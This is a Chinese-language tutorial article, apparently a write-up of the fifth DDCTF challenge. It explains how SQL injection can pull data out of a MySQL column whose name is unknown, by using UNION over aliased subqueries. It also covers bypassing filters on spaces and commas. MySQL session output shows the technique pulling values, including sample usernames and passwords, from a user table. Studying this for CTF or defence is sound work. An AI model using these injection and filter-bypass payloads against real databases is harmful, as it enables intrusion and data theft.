Mysql如何巧妙的繞過未知字段名詳解
前言
本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機(jī)來操作了下,思路很棒也很清晰,分享給大家,下面來看看詳細(xì)的介紹:
實現(xiàn)思路
題目過濾空格和逗號,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號都可以繞過,逗號使用join繞過;
存放flag的字段名未知,information_schema.columns也將表名的hex過濾了,即獲取不到字段名;這時可以利用聯(lián)合查詢,過程如下:
思想就是獲取flag,讓其在已知字段名下出現(xiàn);
示例代碼:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
總結(jié)
以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對腳本之家的支持。
相關(guān)文章
Mysql聯(lián)合查詢UNION和Order by同時使用報錯問題的解決辦法
很多朋友剛使用聯(lián)合查詢UNION的時候常常會理所當(dāng)然的將聯(lián)合查詢理解為把沒一個子查詢的結(jié)果集組合成一個大的結(jié)果集2014-04-04mysql 導(dǎo)入導(dǎo)出數(shù)據(jù)庫以及函數(shù)、存儲過程的介紹
本篇文章是對mysql中的導(dǎo)入導(dǎo)出數(shù)據(jù)庫命令以及函數(shù)、存儲過程進(jìn)行了詳細(xì)的分析介紹,需要的朋友參考下2013-07-07mysql中插入表數(shù)據(jù)中文亂碼問題的解決方法
mysql是我們項目中非經(jīng)常常使用的數(shù)據(jù)型數(shù)據(jù)庫,下面這篇文章主要給大家介紹了關(guān)于mysql中插入表數(shù)據(jù)中文亂碼問題的解決方法,文中通過示例代碼介紹的非常詳細(xì),需要的朋友可以參考借鑒,下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2018-09-09mysql中binlog_format模式與配置詳細(xì)分析
這篇文章主要介紹了mysql中binlog_format模式與配置的相關(guān)內(nèi)容,詳細(xì)介紹了binlog的三種格式與SBR、 RBR 兩種模式各自的優(yōu)缺點(diǎn),需要的朋友可以參考。2017-10-10網(wǎng)站前端和后臺性能優(yōu)化的34條寶貴經(jīng)驗和方法
網(wǎng)站前端和后臺性能優(yōu)化的34條寶貴經(jīng)驗和方法,相關(guān)網(wǎng)頁技術(shù)人員,需要注意的地方。2011-05-05pymysql.err.DataError:(1264, ")異常的有效解決方法(最新推薦)
遇到pymysql.err.DataError錯誤時,錯誤代碼1264通常指的是MySQL數(shù)據(jù)庫中的Out of range value for column錯誤,這意味著你嘗試插入或更新的數(shù)據(jù)超過了對應(yīng)數(shù)據(jù)庫列所允許的范圍,這篇文章主要介紹了pymysql.err.DataError:(1264, ")異常的有效問題,需要的朋友可以參考下2024-05-05